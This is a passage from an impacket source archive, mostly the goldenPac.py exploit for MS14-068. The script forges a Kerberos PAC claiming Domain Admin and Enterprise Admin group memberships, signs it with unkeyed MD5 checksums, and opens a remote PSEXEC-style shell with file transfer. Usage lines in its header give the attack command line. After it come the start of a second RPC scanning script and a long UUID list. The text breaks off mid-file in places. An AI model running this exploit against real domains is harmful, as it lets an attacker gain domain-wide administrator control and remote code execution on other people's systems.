Exception, e: #import traceback #print traceback.print_exc() print str(e) impacket-0.9.15/examples/goldenPac.py0000700000076500000000000015200612734531507017542 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! # Well done :). # This one also established a SMBConnection and PSEXEcs the # target. # A few important things: # 1) you must use the domain FQDN or use -dc-ip switch # 2) target must be a FQDN as well and matching the target's NetBIOS # 3) Just RC4 at the moment - DONE (aes256 added) # 4) It won't work on Kerberos-only Domains (but can be fixed) # 5) Use WMIEXEC approach instead # # E.G: # python goldenPac domain.net/normaluser@domain-host # the password will be asked, or # # python goldenPac.py domain.net/normaluser:mypwd@domain-host # # if domain.net and/or domain-host do not resolve, add them # to the hosts file or use the -dc-ip and -target-ip parameters # import random import string import logging from binascii import unhexlify from impacket.examples import logger from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.dtypes import ULONG, RPC_SID, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, MAXIMUM_ALLOWED from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY, MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS from impacket.dcerpc.v5 import epm from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \ DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ NULLGUID, DRS_EXT_RECYCLE_BIN from impacket.structure import Structure ################################################################################ # CONSTANTS ################################################################################ # From http://msdn.microsoft.com/en-us/library/aa302203.aspx#msdn_pac_credentials # and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862 PAC_LOGON_INFO = 1 PAC_CREDENTIALS_INFO = 2 PAC_SERVER_CHECKSUM = 6 PAC_PRIVSVR_CHECKSUM = 7 PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 ################################################################################ # STRUCTURES ################################################################################ PISID = PRPC_SID # 2.2.1 KERB_SID_AND_ATTRIBUTES class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT): structure = ( ('Sid', PISID), ('Attributes', ULONG), ) class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray): item = KERB_SID_AND_ATTRIBUTES class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER): referent = ( ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY), ) # 2.2.2 GROUP_MEMBERSHIP from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY # 2.2.3 DOMAIN_GROUP_MEMBERSHIP class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT): structure = ( ('DomainId', PISID), ('GroupCount', ULONG), ('GroupIds', PGROUP_MEMBERSHIP_ARRAY), ) class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray): item = DOMAIN_GROUP_MEMBERSHIP class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER): referent = ( ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY), ) # 2.3 PACTYPE class PACTYPE(Structure): structure = ( ('cBuffers', ' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: logging.critical('Pipe not ready, aborting') raise fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = string.replace(f,'/','\\') logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) self.transferClient.putFile(self.share, pathname, fh.read) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: try: os.chdir(s) except Exception, e: logging.error(str(e)) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, TGS=None, share=None): Pipes.__init__(self, transport, pipe, permisssions, TGS, share) def run(self): self.connectPipe() shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) shell.cmdloop() class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents() validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = str(pacClientInfo) pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = '\x00'*16 serverChecksumBlob = str(serverChecksum) serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = '\x00'*16 privSvrChecksumBlob = str(privSvrChecksum) privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str( privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str( pacClientInfo) + pacClientInfoAlignment buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = str(pacType) # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack(' """ import sys import struct from impacket.examples import logger from impacket import uuid from impacket.dcerpc.v5.epm import KNOWN_UUIDS from impacket.dcerpc.v5 import transport, rpcrt, epm from impacket.dcerpc.v5 import mgmt uuid_database = set(uuid.string_to_uuidtup(line) for line in """ 00000001-0000-0000-c000-000000000046 v0.0 00000131-0000-0000-c000-000000000046 v0.0 00000132-0000-0000-c000-000000000046 v0.0 00000134-0000-0000-c000-000000000046 v0.0 00000136-0000-0000-c000-000000000046 v0.0 00000141-0000-0000-c000-000000000046 v0.0 00000143-0000-0000-c000-000000000046 v0.0 000001a0-0000-0000-c000-000000000046 v0.0 027947e1-d731-11ce-a357-000000000001 v0.0 04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 0767a036-0d22-48aa-ba69-b619480f38cb v1.0 0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0 0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0 0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0 0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0 0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0 0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0 1088a980-eae5-11d0-8d9b-00a02453c337 v1.0 10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0 11220835-5b26-4d94-ae86-c3e475a809de v1.0 12345678-1234-abcd-ef00-0123456789ab v1.0 12345678-1234-abcd-ef00-01234567cffb v1.0 12345778-1234-abcd-ef00-0123456789ab v0.0 12345778-1234-abcd-ef00-0123456789ac v1.0 12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0 12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0 12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0 130ceefb-e466-11d1-b78b-00c04fa32883 v2.0 1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0 1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0 16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0 16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0 17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0 18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0 1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0 1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0 1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0 1c1c45ee-4395-11d2-b60b-00104b703efd v0.0 1cbcad78-df0b-4934-b558-87839ea501c9 v0.0 1d55b526-c137-46c5-ab79-638f2a68e869 v1.0 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0 20610036-fa22-11cf-9823-00a0c911e5df v1.0 209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0 21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0 2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0 25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0 266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0 28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0 2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0 2eb08e3e-639f-4fba-97b1-14f878961076 v1.0 2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0 2f5f3220-c126-1076-b549-074d078619da v1.2 2f5f6520-ca46-1067-b319-00dd010662da v1.0 2f5f6521-ca47-1068-b319-00dd010662db v1.0 2f5f6521-cb55-1059-b446-00df0bce31db v1.0 2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0 300f3532-38cc-11d0-a3f0-0020af6b0add v1.2 326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0 333a2276-0000-0000-0d00-00809c000000 v3.0 338cd001-2244-31f1-aaaa-900038001003 v1.0 342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0 3473dd4d-2e88-4006-9cba-22570909dd10 v5.0 3473dd4d-2e88-4006-9cba-22570909dd10 v5.1 359e47c9-682e-11d0-adec-00c04fc2a078 v1.0 367abb81-9844-35f1-ad32-98f038001003 v2.0 369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0 386ffca4-22f5-4464-b660-be08692d7296 v1.0 38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0 3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0 3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0 3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0 3f77b086-3a17-11d3-9166-00c04f688e28 v1.0 3f99b900-4d87-101b-99b7-aa0004007f07 v1.0 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1 41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0 412f241e-c12a-11ce-abff-0020af6e7a17 v0.2 423ec01e-2e35-11d2-b604-00104b703efd v0.0 45776b01-5956-4485-9f80-f428f7d60129 v2.0 45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0 4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0 4a452661-8290-4b36-8fbe-7f4093a94978 v1.0 4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0 4f82f460-0e21-11cf-909e-00805f48a135 v4.0 4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 53e75790-d96b-11cd-ba18-08002b2dfead v2.0 56c8504c-4408-40fd-93fc-afd30f10c90d v1.0 57674cd0-5200-11ce-a897-08002b2e9c6d v0.0 57674cd0-5200-11ce-a897-08002b2e9c6d v1.0 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0 5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0 5b821720-f63b-11d0-aad2-00c04fc324db v1.0 5c89f409-09cc-101a-89f3-02608c4d2361 v1.1 5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0 5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0 5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0 6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0 621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0 629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0 629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0 63fbe424-2029-11d1-8db8-00aa004abd5e v1.0 654976df-1498-4056-a15e-cb4e87584bd8 v1.0 65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0 68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0 68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0 69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0 6bffd098-0206-0936-4859-199201201157 v1.0 6bffd098-a112-3610-9833-012892020162 v0.0 6bffd098-a112-3610-9833-46c3f874532d v1.0 6bffd098-a112-3610-9833-46c3f87e345a v1.0 6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0 708cca10-9569-11d1-b2a5-0060977d8118 v1.0 70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0 76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0 76f226c3-ec14-4325-8a99-6a46348418ae v1.0 76f226c3-ec14-4325-8a99-6a46348418af v1.0 77df7a80-f298-11d0-8358-00a024c480a8 v1.0 7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2 7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0 7c857801-7381-11cf-884d-00aa004b2e24 v0.0 7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0 7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0 811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0 8174bb16-571b-4c38-8386-1102b449044a v1.0 82273fdc-e32a-18c3-3f78-827929dc23ea v0.0 82980780-4b64-11cf-8809-00a004ff3128 v3.0 82ad4280-036b-11cf-972c-00aa006887b0 v2.0 83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0 83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0 86d35949-83c9-4044-b424-db363231fd0c v1.0 894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0 89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0 8c7a6de0-788d-11d0-9edf-444553540000 v2.0 8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0 8cfb5d70-31a4-11cf-a7d8-00805f48a135 v3.0 8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0 8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0 8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 906b0ce0-c70b-1067-b317-00dd010662da v1.0 91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0 92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0 93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0 93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0 9556dc99-828c-11cf-a37e-00aa003240c7 v0.0 95958c94-a424-4055-b62b-b7f4d5c47770 v1.0 975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0 98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0 99e64010-b032-11d0-97a4-00c04fd6551d v3.0 99fcfec4-5260-101b-bbcb-00aa0021347a v0.0 9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0 9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0 9e8ee830-4459-11ce-979b-00aa005ffebe v2.0 a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0 a00c021c-2be2-11d2-b678-0000f87a8f8e v1.0 a0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0 a2d47257-12f7-4beb-8981-0ebfa935c407 v1.0 a398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0 a3b749b1-e3d0-4967-a521-124055d1c37d v1.0 a4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0 a4f1db00-ca47-1067-b31e-00dd010662da v1.0 a4f1db00-ca47-1067-b31f-00dd010662da v0.0 a4f1db00-ca47-1067-b31f-00dd010662da v0.81 aa177641-fc9b-41bd-80ff-f964a701596f v1.0 aa411582-9bdf-48fb-b42b-faa1eee33949 v1.0 aae9ac90-ce13-11cf-919e-08002be23c64 v1.0 ae33069b-a2a8-46ee-a235-ddfd339be281 v1.0 afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0 b196b284-bab4-101a-b69c-00aa00341d07 v0.0 b196b286-bab4-101a-b69c-00aa00341d07 v0.0 b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 b7b31df9-d515-11d3-a11c-00105a1f515a v0.0 b97db8b2-4c63-11cf-bff6-08002be23f2f v2.0 b9e79e60-3d52-11ce-aaa1-00006901293f v0.2 bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 c13d3372-cc20-4449-9b23-8cc8271b3885 v1.0 c33b9f46-2088-4dbc-97e3-6125f127661c v1.0 